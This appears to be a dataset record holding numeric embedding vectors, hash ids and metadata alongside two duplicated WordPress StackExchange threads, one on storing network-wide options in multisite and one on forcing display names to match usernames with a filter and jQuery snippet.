-0.056365966796875, 0.02557373046875, 0.07489013671875, -0.04156494140625, -0.045867919921875, 0.02117919921875, 0.02008056640625, 0.007022857666015625, 0.01194000244140625, -0.0013179779052734375, -0.060455322265625, 0.01209259033203125, -0.0255889892578125, -0.0038852691650390625, 0.0167236328125, 0.01226806640625, -0.0036716461181640625, -0.01387786865234375, -0.006969451904296875, -0.002796173095703125, -0.0170135498046875, 0.008758544921875, 0.018280029296875, 0.039886474609375, -0.0190277099609375, 0.084716796875, -0.019683837890625, -0.004039764404296875, -0.0159912109375, 0.044036865234375, 0.005420684814453125, 0.0168609619140625, -0.053985595703125, -0.0693359375, 0.0523681640625, 0.040618896484375, 0.0117340087890625, -0.013916015625, 0.0030689239501953125, 0.02923583984375, -0.008819580078125, -0.00853729248046875, 0.039764404296875, -0.005924224853515625, -0.01372528076171875, -0.048248291015625, 0.06585693359375, 0.04791259765625, 0.02447509765625, 0.0070953369140625, -0.00829315185546875, 0.07403564453125, -0.07427978515625, 0.04425048828125, -0.0208587646484375, -0.01214599609375, 0.02618408203125, -0.048492431640625, 0.017608642578125, -0.0606689453125, -0.0183258056640625, 0.0013742446899414062, 0.0275421142578125, -0.0516357421875, -0.0008115768432617188, 0.0205230712890625, -0.05364990234375, 0.0361328125, 0.034454345703125, 0.0194091796875, -0.01336669921875, -0.030670166015625, 0.0338134765625, 0.00585174560546875, 0.02630615234375, 0.04156494140625, -0.06427001953125, -0.03350830078125, -0.036407470703125, 0.0350341796875, 0.013916015625, 0.06988525390625, -0.01180267333984375, 0.02459716796875, 0.007904052734375, -0.053802490234375, 0.056182861328125, -0.006618499755859375, 0.025421142578125, 0.010589599609375, -0.028350830078125, -0.0259857177734375, 0.0092315673828125, 0.03680419921875, 0.003093719482421875, -0.0184326171875, -0.011260986328125, -0.035247802734375, 0.018463134765625, 0.0386962890625, 0.0186920166015625, -0.04510498046875, -0.08966064453125, -0.056182861328125, 0.00809478759765625, -0.0223236083984375, -0.0005102157592773438, 0.0180511474609375, 0.059967041015625, -0.0252685546875, 0.00196075439453125, 0.007556915283203125, -0.055938720703125, -0.00884246826171875, 0.022979736328125, -0.00738525390625, -0.032928466796875, 0.0280303955078125, -0.001361846923828125, 0.02288818359375, -0.002193450927734375, 0.056243896484375, 0.03277587890625, -0.06121826171875, -0.00356292724609375, 0.03515625, 0.03851318359375, -0.005634307861328125, 0.0136871337890625, 0.0142974853515625, -0.0176239013671875, 0.0100860595703125, 0.01371002197265625, -0.032623291015625, -0.047271728515625, -0.00293731689453125, 0.01326751708984375, -0.04278564453125, -0.03961181640625, -0.11407470703125, 0.01727294921875, 0.033447265625, 0.0299072265625, -0.08355712890625, 0.053314208984375, 0.0030345916748046875, 0.02459716796875, 0.0206146240234375, 0.05096435546875, -0.005992889404296875, 0.0195159912109375, -0.044525146484375, -0.022308349609375, 0.00908660888671875, 0.041839599609375, 0.0142059326171875, 0.041290283203125, 0.043792724609375, -0.049224853515625, 0.006336212158203125, 0.08038330078125, 0.0697021484375, 0.124755859375, 0.040740966796875, -0.0203094482421875, 0.020416259765625, -0.007183074951171875, 0.0030803680419921875, -0.055816650390625, -0.01190185546875, -0.04412841796875, 0.02142333984375, 0.0150146484375, -0.0615234375, -0.062286376953125, -0.06829833984375, -0.0267486572265625, 0.044158935546875, 0.023468017578125, -0.026947021484375, -0.0281982421875, 0.0020122528076171875, 0.00960540771484375, -0.0241546630859375, -0.022857666015625, 0.024932861328125, -0.0203094482421875, 0.01389312744140625, 0.00036144256591796875, -0.0035190582275390625, 0.0154876708984375, -0.00597381591796875, 0.00884246826171875, 0.0274658203125, 0.037353515625, -0.022186279296875, 0.02752685546875, -0.01995849609375, 0.04400634765625, 0.04998779296875, -0.050537109375, 0.0014057159423828125, -0.0188446044921875, -0.02593994140625, 0.01311492919921875, -0.034332275390625, -0.046356201171875, -0.048614501953125, 0.00537872314453125, 0.0174102783203125, 0.005947113037109375, 0.0251007080078125, -0.061492919921875, -0.0262451171875, -0.032073974609375, -0.0168609619140625, 0.02691650390625, -0.07318115234375, 0.017913818359375, -0.01387786865234375, -0.01629638671875, -0.005069732666015625, 0.00911712646484375, -0.038543701171875, -0.008514404296875, -0.0204925537109375, 0.006443023681640625, -0.06060791015625, 0.051025390625, 0.06268310546875, -0.053009033203125, 0.0006341934204101562, -0.0217742919921875, -0.0028705596923828125, 0.01947021484375, -0.09088134765625, 0.0303497314453125, -0.0269927978515625, -0.0323486328125, 0.0293731689453125, 0.0019483566284179688, 0.0380859375, -0.032135009765625, -0.05255126953125, -0.023162841796875, 0.0193023681640625, -0.0017833709716796875, 0.01666259765625, 0.002716064453125, -0.001018524169921875, 0.005603790283203125, 0.048248291015625, -0.01001739501953125, -0.032989501953125, -0.0301971435546875, 0.01788330078125, 0.00925445556640625, 0.00921630859375, 0.027099609375, -0.01100921630859375, -0.0032749176025390625, 0.022918701171875, -0.006992340087890625, -0.050811767578125, 0.01422119140625, -0.07916259765625, 0.012451171875, 0.024078369140625 ]
f97c180a73350f42a5a2ccaf419a891c686a5c3e
Wordpress Stackexchange Q: Multisite: How to store global options vs. site options? Hey there I am pretty confused on how to store network wide options within a WordPress multisite installation. The usual way to store any settings in WordPress is: add_option(); update_option(); delete_option(); However the wp_options table is created for each site within a multisite installation. The following tables are subsite specific: myprefix_siteid_commentmeta myprefix_siteid_comments myprefix_siteid_links myprefix_siteid_options myprefix_siteid_postmeta myprefix_siteid_posts myprefix_siteid_term_relationships myprefix_siteid_term_taxonomy myprefix_siteid_termmeta myprefix_siteid_terms The following tables are network wide: myprefix_blogs // multisite specific myprefix_blog_versions // multisite specific myprefix_registration_log // multisite specific myprefix_signups // multisite specific myprefix_site // multisite specific myprefix_sitemeta // multisite specific myprefix_users myprefix_usermeta Do you see the problem? There is no adequate table for storing options for the whole network, which sucks in my opinion. However I assume that you store network wide options in the base wp_options table (myprefix_options). However I cannot use add_option() and update_option() and so on without using switch_to_blog(1) before. Is there a better possibility? If not, how can I get the base wp_options table prefix? A: There are functions for saving and retrieving network-wide options: add_network_option(); update_network_option(); get_network_option(); The values of these options are stored in wp_sitemeta.
Q: Multisite: How to store global options vs. site options? Hey there I am pretty confused on how to store network wide options within a WordPress multisite installation. The usual way to store any settings in WordPress is: add_option(); update_option(); delete_option(); However the wp_options table is created for each site within a multisite installation. The following tables are subsite specific: myprefix_siteid_commentmeta myprefix_siteid_comments myprefix_siteid_links myprefix_siteid_options myprefix_siteid_postmeta myprefix_siteid_posts myprefix_siteid_term_relationships myprefix_siteid_term_taxonomy myprefix_siteid_termmeta myprefix_siteid_terms The following tables are network wide: myprefix_blogs // multisite specific myprefix_blog_versions // multisite specific myprefix_registration_log // multisite specific myprefix_signups // multisite specific myprefix_site // multisite specific myprefix_sitemeta // multisite specific myprefix_users myprefix_usermeta Do you see the problem? There is no adequate table for storing options for the whole network, which sucks in my opinion. However I assume that you store network wide options in the base wp_options table (myprefix_options). However I cannot use add_option() and update_option() and so on without using switch_to_blog(1) before. Is there a better possibility? If not, how can I get the base wp_options table prefix? A: There are functions for saving and retrieving network-wide options: add_network_option(); update_network_option(); get_network_option(); The values of these options are stored in wp_sitemeta.
wordpress
{ "language": "en", "length": 191, "provenance": "stackexchange_00019.jsonl.gz:488414", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310741" }
[ 0.0435791015625, -0.02789306640625, -0.01207733154296875, -0.0278472900390625, -0.0038585662841796875, -0.04656982421875, 0.062042236328125, 0.041229248046875, 0.0335693359375, -0.0115509033203125, -0.03173828125, -0.0191497802734375, -0.032989501953125, -0.027587890625, -0.01090240478515625, -0.04351806640625, 0.051177978515625, -0.033111572265625, 0.025634765625, 0.01763916015625, -0.0270538330078125, 0.048858642578125, 0.0208892822265625, 0.0182647705078125, 0.028289794921875, -0.064453125, 0.007808685302734375, 0.001438140869140625, 0.02728271484375, -0.0006566047668457031, 0.0313720703125, 0.01424407958984375, 0.039642333984375, -0.0478515625, 0.0232391357421875, -0.0271759033203125, 0.0021762847900390625, -0.019683837890625, 0.0077056884765625, 0.00847625732421875, -0.0179443359375, 0.00943756103515625, 0.06878662109375, -0.0008177757263183594, 0.023406982421875, -0.059539794921875, 0.035736083984375, -0.056427001953125, -0.01116943359375, -0.032562255859375, 0.023345947265625, -0.0272979736328125, 0.06207275390625, -0.03826904296875, -0.0247650146484375, -0.03033447265625, 0.0171051025390625, -0.01873779296875, 0.0188751220703125, 0.00592803955078125, -0.026458740234375, 0.01483917236328125, 0.010406494140625, -0.0212860107421875, 0.007198333740234375, -0.0263519287109375, 0.047210693359375, 0.0284423828125, -0.04644775390625, -0.01092529296875, 0.036224365234375, -0.0025196075439453125, 0.034149169921875, -0.033782958984375, -0.02264404296875, -0.0088653564453125, -0.001644134521484375, -0.01568603515625, 0.0279541015625, -0.035430908203125, 0.0186920166015625, -0.03643798828125, 0.003009796142578125, -0.04241943359375, 0.0220947265625, -0.0096435546875, 0.00977325439453125, 0.01488494873046875, -0.033660888671875, 0.0152435302734375, -0.00753021240234375, -0.041717529296875, -0.0159149169921875, 0.028350830078125, 0.004726409912109375, -0.01197052001953125, -0.006786346435546875, 0.039276123046875, -0.004184722900390625, 0.005321502685546875, -0.01025390625, -0.012786865234375, -0.00997161865234375, -0.0232696533203125, 0.0007963180541992188, 0.04888916015625, 0.031280517578125, 0.00879669189453125, 0.0191497802734375, -0.00812530517578125, 0.00909423828125, 0.029937744140625, 0.01062774658203125, -0.034088134765625, -0.006336212158203125, -0.0164794921875, -0.0201568603515625, 0.029144287109375, 0.0052642822265625, -0.0226287841796875, -0.0187530517578125, 0.0034637451171875, -0.04400634765625, -0.0264434814453125, 0.01348876953125, -0.05352783203125, -0.0209503173828125, 0.05023193359375, -0.11639404296875, 0.07147216796875, -0.04168701171875, 0.00962066650390625, 0.055206298828125, 0.01213836669921875, -0.02801513671875, -0.041595458984375, 0.026275634765625, 0.01540374755859375, -0.0188446044921875, 0.03643798828125, 0.03692626953125, -0.07183837890625, -0.049163818359375, 0.042724609375, 0.0173187255859375, 0.0175628662109375, 0.055999755859375, 0.02972412109375, -0.0286712646484375, -0.03399658203125, -0.00429534912109375, 0.0611572265625, 0.0249786376953125, -0.0148468017578125, -0.0316162109375, -0.045379638671875, 0.024444580078125, -0.04119873046875, -0.0269622802734375, -0.049224853515625, -0.051971435546875, -0.040435791015625, 0.046112060546875, -0.038970947265625, -0.01320648193359375, 0.039031982421875, -0.0215606689453125, -0.004993438720703125, 0.0194549560546875, -0.0008788108825683594, -0.025146484375, -0.007190704345703125, 0.01049041748046875, 0.017364501953125, 0.0088653564453125, 0.03302001953125, -0.029571533203125, -0.0284271240234375, 0.05487060546875, -0.0123291015625, -0.04949951171875, -0.041839599609375, 0.012451171875, -0.006755828857421875, -0.044464111328125, 0.016845703125, 0.0200958251953125, 0.112060546875, 0.01084136962890625, 0.0288543701171875, -0.0006256103515625, -0.038543701171875, -0.0256500244140625, 0.00196075439453125, 0.0133514404296875, 0.01666259765625, -0.0318603515625, 0.01849365234375, 0.004627227783203125, -0.028289794921875, -0.0175628662109375, 0.00951385498046875, 0.0302886962890625, -0.01345062255859375, -0.0124359130859375, -0.00948333740234375, -0.0097503662109375, 0.04168701171875, -0.004302978515625, -0.0131683349609375, 0.018951416015625, -0.0027027130126953125, -0.0146484375, -0.010986328125, -0.03265380859375, 0.046234130859375, -0.00933837890625, 0.058349609375, 0.016937255859375, 0.03704833984375, -0.010101318359375, -0.007076263427734375, 0.00751495361328125, -0.017852783203125, 0.045166015625, -0.01509857177734375, -0.0203399658203125, -0.022186279296875, 0.03753662109375, -0.0158233642578125, 0.0242767333984375, 0.039154052734375, -0.0224151611328125, 0.010711669921875, 0.005401611328125, 0.01123046875, 0.0225677490234375, -0.031951904296875, 0.01119232177734375, 0.00424957275390625, 0.028900146484375, 0.0234527587890625, 0.0026531219482421875, 0.0277557373046875, -0.00823211669921875, -0.05450439453125, 0.01763916015625, -0.0028839111328125, -0.00946044921875, 0.038787841796875, 0.00983428955078125, 0.005889892578125, 0.007022857666015625, -0.04876708984375, -0.026092529296875, 0.0273284912109375, -0.05743408203125, -0.017242431640625, 0.0225677490234375, -0.0251007080078125, 0.005977630615234375, -0.00933837890625, 0.019561767578125, 0.00019550323486328125, 0.047637939453125, -0.00420379638671875, 0.02154541015625, -0.006427764892578125, -0.0267181396484375, 0.035003662109375, 0.01434326171875, -0.0704345703125, 0.00012981891632080078, 0.01012420654296875, 0.00849151611328125, -0.004314422607421875, -0.0216064453125, -0.0005364418029785156, 0.006198883056640625, -0.00279998779296875, -0.0273895263671875, 0.049774169921875, -0.07440185546875, -0.02496337890625, -0.0232696533203125, -0.041778564453125, -0.0322265625, -0.0280303955078125, -0.027435302734375, -0.022857666015625, 0.0174713134765625, 0.01123046875, -0.0302886962890625, 0.004192352294921875, 0.01241302490234375, -0.031524658203125, 0.0108795166015625, -0.06903076171875, 0.0290069580078125, -0.0275421142578125, 0.05322265625, 0.08514404296875, 0.016998291015625, 0.0006361007690429688, -0.0234222412109375, -0.0170440673828125, -0.0209197998046875, 0.007465362548828125, -0.007778167724609375, -0.04150390625, -0.02825927734375, 0.0243072509765625, -0.006259918212890625, -0.0323486328125, -0.01523590087890625, -0.0121002197265625, -0.0199127197265625, -0.028167724609375, -0.014404296875, 0.019378662109375, -0.00463104248046875, -0.056793212890625, 0.0216064453125, -0.0426025390625, -0.0224151611328125, -0.01220703125, -0.01363372802734375, 0.00896453857421875, -0.026519775390625, -0.04986572265625, -0.0400390625, -0.06378173828125, -0.07257080078125, -0.0268096923828125, 0.0167999267578125, 0.034820556640625, -0.0133056640625, 0.048126220703125, -0.002681732177734375, -0.026885986328125, -0.007045745849609375, -0.047515869140625, -0.0027446746826171875, -0.031463623046875, -0.0033016204833984375, -0.01543426513671875, 0.014556884765625, -0.00737762451171875, 0.002346038818359375, 0.036163330078125, -0.019927978515625, 0.007129669189453125, 0.0467529296875, 0.0254058837890625, 0.037689208984375, -0.00677490234375, -0.04888916015625, 0.01824951171875, -0.007549285888671875, -0.03717041015625, 0.007152557373046875, -0.007495880126953125, -0.0240631103515625, 0.0172576904296875, 0.006214141845703125, -0.01528167724609375, 0.0201263427734375, 0.00254058837890625, -0.01113128662109375, 0.005809783935546875, 0.0599365234375, -0.0196685791015625, -0.04278564453125, -0.025054931640625, -0.06475830078125, -0.0103607177734375, 0.0270233154296875, -0.017181396484375, -0.01436614990234375, 0.00592041015625, -0.0106048583984375, -0.0236968994140625, 0.0005788803100585938, -0.0175018310546875, -0.06280517578125, 0.017669677734375, -0.07904052734375, -0.00441741943359375, -0.05072021484375, -0.0011415481567382812, -0.0213470458984375, 0.08447265625, -0.04730224609375, -0.0053863525390625, -0.00952911376953125, 0.03485107421875, -0.0374755859375, -0.081298828125, 0.0020084381103515625, -0.006977081298828125, -0.034515380859375, -0.003925323486328125, -0.01076507568359375, -0.006763458251953125, -0.0009360313415527344, -0.019561767578125, -0.007495880126953125, -0.04266357421875, 0.024627685546875, -0.006763458251953125, 0.00913238525390625, -0.0164642333984375, -0.01020050048828125, -0.0100555419921875, 0.0087738037109375, -0.0384521484375, -0.044342041015625, -0.016448974609375, 0.0028247833251953125, 0.0299835205078125, 0.01457977294921875, -0.0182647705078125, 0.003787994384765625, 0.04193115234375, -0.01593017578125, -0.002788543701171875, -0.00506591796875, 0.03466796875, -0.0396728515625, -0.038604736328125, -0.01202392578125, -0.05828857421875, 0.0014715194702148438, -0.001476287841796875, -0.0062713623046875, -0.003047943115234375, -0.0215606689453125, 0.00968170166015625, 0.010711669921875, -0.0211181640625, -0.01169586181640625, 0.0008635520935058594, -0.032684326171875, 0.01093292236328125, -0.0401611328125, 0.0012025833129882812, 0.003814697265625, -0.03533935546875, 0.0340576171875, -0.0050506591796875, 0.000400543212890625, 0.03131103515625, 0.07403564453125, 0.005573272705078125, -0.013671875, -0.053802490234375, -0.02288818359375, 0.01338958740234375, -0.031890869140625, 0.0160369873046875, 0.0253143310546875, 0.01282501220703125, -0.01384735107421875, -0.021270751953125, -0.004344940185546875, -0.01123809814453125, 0.030670166015625, 0.0195465087890625, -0.0003509521484375, -0.0026721954345703125, 0.0035419464111328125, -0.0045928955078125, 0.023651123046875, -0.022369384765625, -0.01473236083984375, -0.04986572265625, 0.050018310546875, 0.00820159912109375, 0.0170440673828125, -0.06866455078125, -0.0209503173828125, -0.004673004150390625, -0.07171630859375, 0.043121337890625, 0.033538818359375, 0.006824493408203125, 0.0034942626953125, 0.022308349609375, 0.009735107421875, 0.02374267578125, 0.01105499267578125, -0.0156402587890625, 0.035186767578125, -0.0063018798828125, -0.036041259765625, 0.0274505615234375, -0.0204925537109375, 0.062408447265625, -0.037750244140625, -0.062103271484375, 0.0191650390625, -0.028839111328125, 0.03326416015625, 0.046722412109375, -0.00942230224609375, 0.007289886474609375, 0.033111572265625, -0.0190582275390625, -0.0018329620361328125, -0.0048370361328125, 0.00506591796875, -0.03924560546875, 0.0157012939453125, -0.02740478515625, 0.01192474365234375, 0.01389312744140625, 0.0703125, -0.059112548828125, 0.061126708984375, -0.0015783309936523438, 0.050445556640625, 0.089599609375, -0.0174560546875, 0.00965118408203125, 0.02294921875, -0.004878997802734375, -0.029571533203125, -0.0018215179443359375, 0.006862640380859375, -0.0072021484375, 0.007480621337890625, 0.0257110595703125, 0.017730712890625, 0.015167236328125, -0.01702880859375, -0.040008544921875, -0.01461029052734375, 0.032012939453125, -0.0072479248046875, -0.0816650390625, 0.01434326171875, 0.04754638671875, 0.0025920867919921875, -0.043365478515625, 0.0157318115234375, -0.04266357421875, -0.03790283203125, -0.02764892578125, 0.00200653076171875, -0.016845703125, -0.044097900390625, -0.03314208984375, -0.043548583984375, -0.0001379251480102539, -0.003742218017578125, -0.06060791015625, -0.047607421875, 0.004329681396484375, 0.001861572265625, 0.020050048828125, -0.002460479736328125, 0.0171661376953125, -0.0275726318359375, 0.00823211669921875, -0.0201263427734375, 0.00534820556640625, 0.032623291015625, 0.0021648406982421875, -0.01018524169921875, -0.007625579833984375, -0.0024967193603515625, -0.01409149169921875, 0.0209197998046875, -0.005645751953125, -0.032928466796875, -0.0094146728515625, 0.0031280517578125, 0.0181121826171875, -0.023345947265625, -0.036041259765625, 0.0020580291748046875, -0.0037994384765625, 0.006374359130859375, 0.00011789798736572266, -0.0197906494140625, 0.03619384765625, -0.00885772705078125, 0.056365966796875, 0.030975341796875, 0.036865234375, 0.01314544677734375, -0.04376220703125, 0.00658416748046875, -0.07781982421875, -0.02740478515625, -0.0227203369140625, -0.01479339599609375, 0.068359375, 0.03656005859375, 0.01312255859375, 0.029510498046875, 0.016937255859375, 0.00936126708984375, -0.01390838623046875, -0.039642333984375, 0.00711822509765625, -0.003429412841796875, 0.05364990234375, -0.0166015625, 0.02044677734375, -0.02099609375, 0.01739501953125, -0.007595062255859375, -0.029510498046875, 0.00576019287109375, 0.036102294921875, -0.08453369140625, 0.059814453125, 0.0855712890625, 0.041748046875, 0.05804443359375, -0.01558685302734375, 0.005443572998046875, 0.00724029541015625, 0.0093841552734375, -0.06292724609375, -0.027313232421875, 0.019134521484375, 0.00299835205078125, -0.026947021484375, 0.0268402099609375, -0.0229644775390625, 0.0027713775634765625, 0.0318603515625, 0.0545654296875, -0.05029296875, 0.00675201416015625, 0.0269775390625, -0.00286102294921875, -0.0015544891357421875, 0.01357269287109375, -0.0078582763671875, -0.0251617431640625, 0.001708984375, 0.02569580078125, -0.01824951171875, 0.01324462890625, 0.022064208984375, -0.039459228515625, -0.00553131103515625, 0.014129638671875, 0.0294189453125, -0.035430908203125, 0.030792236328125, 0.011993408203125, 0.00881195068359375, 0.00824737548828125, -0.007259368896484375, -0.0067596435546875, -0.0350341796875, -0.055633544921875, -0.0308837890625, -0.0306396484375, -0.04229736328125, 0.0112762451171875, 0.0024623870849609375, 0.03875732421875, 0.0259857177734375, -0.0024929046630859375, -0.0006241798400878906, 0.00443267822265625, -0.0115966796875, -0.0121917724609375, 0.00780487060546875, 0.00604248046875, -0.017059326171875, -0.00484466552734375, 0.02410888671875, -0.049713134765625, -0.01727294921875, -0.00946807861328125, -0.0265350341796875, 0.039825439453125, -0.054229736328125, 0.0264434814453125, 0.05645751953125, 0.046051025390625, -0.01226043701171875, -0.000743865966796875, -0.0148162841796875, -0.06890869140625, -0.06304931640625, -0.0087127685546875, -0.0540771484375, 0.020843505859375, -0.0105438232421875, -0.040740966796875, 0.1058349609375, -0.00927734375, -0.00812530517578125, 0.00629425048828125, 0.06085205078125, -0.0265960693359375, 0.033966064453125, -0.02862548828125, 0.031463623046875, 0.0147857666015625, 0.0245513916015625, -0.039825439453125, -0.019775390625, 0.0023670196533203125, 0.04473876953125, 0.042816162109375, 0.0175018310546875, -0.04364013671875, -0.0116729736328125, 0.025238037109375, 0.00780487060546875, 0.0005278587341308594, 0.041900634765625, 0.020416259765625, 0.0183563232421875, 0.030487060546875, -0.0158538818359375, 0.00543975830078125, 0.0244903564453125, 0.00170135498046875, 0.052459716796875, 0.0033512115478515625, 0.00826263427734375, 0.0006256103515625, 0.01224517822265625, -0.005832672119140625, 0.0028781890869140625, -0.0071563720703125, 0.0047607421875, -0.00015497207641601562, 0.005603790283203125, -0.01727294921875, 0.036376953125, 0.0257568359375, -0.007305145263671875, 0.0289306640625, -0.0006380081176757812, 0.0103912353515625, 0.048248291015625, 0.019805908203125, -0.0071868896484375, 0.0472412109375, 0.01947021484375, 0.01067352294921875, 0.002277374267578125, 0.043975830078125, 0.018646240234375, 0.0267486572265625, -0.0360107421875, 0.01230621337890625, 0.0161285400390625, 0.0565185546875, -0.03125, -0.062744140625, 0.004497528076171875, -0.01194000244140625, -0.0032901763916015625, 0.0208892822265625, 0.011871337890625, 0.007030487060546875, 0.053680419921875, -0.037353515625, 0.00804901123046875, 0.0247802734375, 0.030059814453125, -0.0008783340454101562, 0.048004150390625, -0.044921875, -0.019683837890625, -0.027801513671875, -0.0089874267578125, -0.00815582275390625, 0.035430908203125, 0.0261077880859375, 0.034210205078125, 0.00980377197265625, -0.004962921142578125, -0.042236328125, 0.05023193359375, 0.00225067138671875, 0.048797607421875, -0.0601806640625, -0.049407958984375, 0.036346435546875, 0.041961669921875, 0.04864501953125, 0.055572509765625, 0.057861328125, 0.03759765625, -0.0224456787109375, 0.0162506103515625, 0.08868408203125, -0.01296234130859375, 0.03125, -0.03204345703125, 0.03997802734375, 0.007122039794921875, -0.0279541015625, -0.01123046875, 0.01812744140625, 0.0335693359375, 0.01013946533203125, 0.034088134765625, 0.00830078125, 0.007965087890625, 0.0221405029296875, 0.01529693603515625, -0.00203704833984375, 0.0202178955078125, -0.0038013458251953125, -0.00931549072265625, -0.055755615234375, 0.005138397216796875, 0.00838470458984375, 0.03765869140625, 0.034271240234375, -0.0268402099609375, -0.049163818359375, 0.0086822509765625, 0.0202178955078125, -0.0010824203491210938, -0.01062774658203125, 0.058319091796875, 0.053314208984375, -0.001392364501953125, -0.0477294921875, -0.0235443115234375, -0.018402099609375, 0.0290679931640625, -0.01104736328125, 0.0709228515625, -0.0224761962890625, 0.0287933349609375, 0.052154541015625, 0.01493072509765625, 0.01080322265625, 0.032989501953125, -0.0029239654541015625, -0.0038604736328125, 0.0085906982421875, -0.0164642333984375, 0.0277099609375, -0.00433349609375, 0.05242919921875, -0.061920166015625, -0.01529693603515625, -0.004268646240234375, 0.01494598388671875, -0.0255889892578125, 0.01010894775390625, -0.02020263671875, -0.03314208984375, -0.042999267578125, -0.0235137939453125, 0.04876708984375, 0.05596923828125, -0.0031490325927734375, 0.05084228515625, 0.022552490234375, 0.0260772705078125, 0.0284881591796875, -0.01409912109375, 0.0380859375, 0.03338623046875, -0.027984619140625, 0.0186767578125, 0.026153564453125, -0.001323699951171875, -0.0006122589111328125, 0.0202484130859375, -0.01244354248046875, 0.04425048828125, -0.055023193359375, 0.02276611328125, 0.037139892578125, 0.05169677734375, 0.0028400421142578125, 0.0232391357421875, 0.02166748046875, -0.01390838623046875, 0.007266998291015625, -0.006771087646484375, -0.03070068359375, -0.06280517578125, -0.0126800537109375, 0.0206451416015625, -0.047332763671875, -0.0235137939453125, -0.05224609375, 0.00376129150390625, 0.037139892578125, -0.0007510185241699219, -0.045989990234375, -0.00023484230041503906, -0.02655029296875, 0.05950927734375, 0.0053863525390625, -0.0309295654296875, -0.0157470703125, -0.0185394287109375, 0.01349639892578125, 0.0140533447265625, -0.0256500244140625, 0.004444122314453125, 0.0294647216796875, 0.00843048095703125, -0.0014791488647460938, -0.00013434886932373047, 0.006786346435546875, 0.03424072265625, -0.0009183883666992188, 0.08050537109375, -0.0173187255859375, -0.0241241455078125, 0.0308990478515625, 0.0021209716796875, -0.02899169921875, -0.074951171875, -0.0162506103515625, -0.07745361328125, 0.0260467529296875, -0.0301361083984375, 0.038787841796875, 0.03436279296875, -0.0374755859375, -0.048980712890625, 0.07196044921875, -0.0292816162109375, -0.02032470703125, -0.058502197265625, -0.0280303955078125, -0.006893157958984375, 0.048065185546875, -0.0113525390625, -0.024658203125, -0.04583740234375, 0.04742431640625, -0.00031638145446777344, 0.002918243408203125, -0.004535675048828125, -0.023834228515625, -0.05389404296875, -0.002422332763671875, -0.0016613006591796875, -0.0009102821350097656, 0.03076171875, -0.052947998046875, 0.067626953125, 0.07830810546875, -0.0180816650390625, -0.022613525390625, -0.0038661956787109375, -0.058624267578125, -0.0089263916015625, -0.014556884765625, -0.050750732421875, -0.03277587890625, 0.06658935546875, 0.059906005859375, 0.025909423828125, -0.024993896484375, -0.01125335693359375, -0.019317626953125, -0.038116455078125, -0.0205535888671875, 0.027008056640625, -0.06634521484375, -0.0115203857421875, -0.0156402587890625, -0.02093505859375, 0.031585693359375, 0.025634765625, -0.00749969482421875, 0.025543212890625, 0.046600341796875, -0.032379150390625, -0.06085205078125, 0.0103912353515625, -0.00725555419921875, -0.0087127685546875, -0.0237274169921875, -0.02532958984375, -0.00899505615234375, -0.0257720947265625, 0.0141448974609375, -0.052520751953125, -0.0007052421569824219, -0.036529541015625, 5.960464477539062e-7, -0.0227508544921875, 0.0172882080078125, -0.01352691650390625, 0.008026123046875, -0.0311126708984375, 0.0110015869140625, 0.0064697265625, -0.009613037109375, -0.0250396728515625, 0.056732177734375, 0.0115509033203125, 0.0631103515625, -0.042724609375, 0.0203094482421875, -0.0268707275390625, 0.047454833984375, -0.032684326171875, 0.0132293701171875, 0.01078033447265625, -0.01324462890625, -0.003597259521484375, -0.06097412109375, -0.017547607421875, -0.08245849609375, 0.013519287109375, -0.0269927978515625, -0.005336761474609375, 0.04669189453125 ]
e9cb07fbccea7e95fa6d4d77b736b0bd4971fd11
Wordpress Stackexchange Q: How can i force Display names to be the same as Usernames? i need help. My users register to the website. They type their username user_login (see chello) but the Display name (see chello04) is not the same. It has a random two digits at the end. Is there a way to force Display names to be the same as usernames? A: You can use the wp_pre_insert_user_data filter. function wpse_filter_user_data( $data, $update, $id) { if( isset( $data[ 'user_login' ] ) ) { $data[ 'display_name' ] = $data[ 'user_login' ]; return $data; } $user = get_user_by( 'email', $data[ 'user_email' ] ); $data[ 'display_name' ] = $user->user_login; return $data; } add_filter( 'wp_pre_insert_user_data', 'wpse_filter_user_data', 10, 3 ); You'll probably want to use Javascript and/or CSS to hide the field too for a better user experience. $( '.user-display-name-wrap' ).remove(); .user-display-name-wrap { display:none; }
Q: How can i force Display names to be the same as Usernames? i need help. My users register to the website. They type their username user_login (see chello) but the Display name (see chello04) is not the same. It has a random two digits at the end. Is there a way to force Display names to be the same as usernames? A: You can use the wp_pre_insert_user_data filter. function wpse_filter_user_data( $data, $update, $id) { if( isset( $data[ 'user_login' ] ) ) { $data[ 'display_name' ] = $data[ 'user_login' ]; return $data; } $user = get_user_by( 'email', $data[ 'user_email' ] ); $data[ 'display_name' ] = $user->user_login; return $data; } add_filter( 'wp_pre_insert_user_data', 'wpse_filter_user_data', 10, 3 ); You'll probably want to use Javascript and/or CSS to hide the field too for a better user experience. $( '.user-display-name-wrap' ).remove(); .user-display-name-wrap { display:none; } A: I would do with jQuery: add_action('admin_footer','myPlugin_fixed_user_name'); function myPlugin_fixed_user_name(){ ob_start(); ?> <script> jQuery(document).ready(function($){ if( pagenow == 'profile' || pagenow == 'user-edit' ){// up to you decide wether to run on edit user ( made by admin ) also or only on personal profile var uName=$('#user_login').val(); $('#display_name option[text="'+uName+'"]').attr('selected','selected'); $('#display_name').attr('disabled',true); } }) </script> <?php echo ob_get_clean(); } //To be 100% safe you can also run a function on user profile update: add_action('personal_options_update', 'my_update_extra_profile_fields'); function my_update_extra_profile_fields($user_id) { if ( current_user_can('edit_user',$user_id) ) wp_update_user( array( 'ID' => $user_id, 'display_name' => $_POST['user_login'] ) ); }
wordpress
{ "language": "en", "length": 229, "provenance": "stackexchange_00019.jsonl.gz:488514", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/311116" }
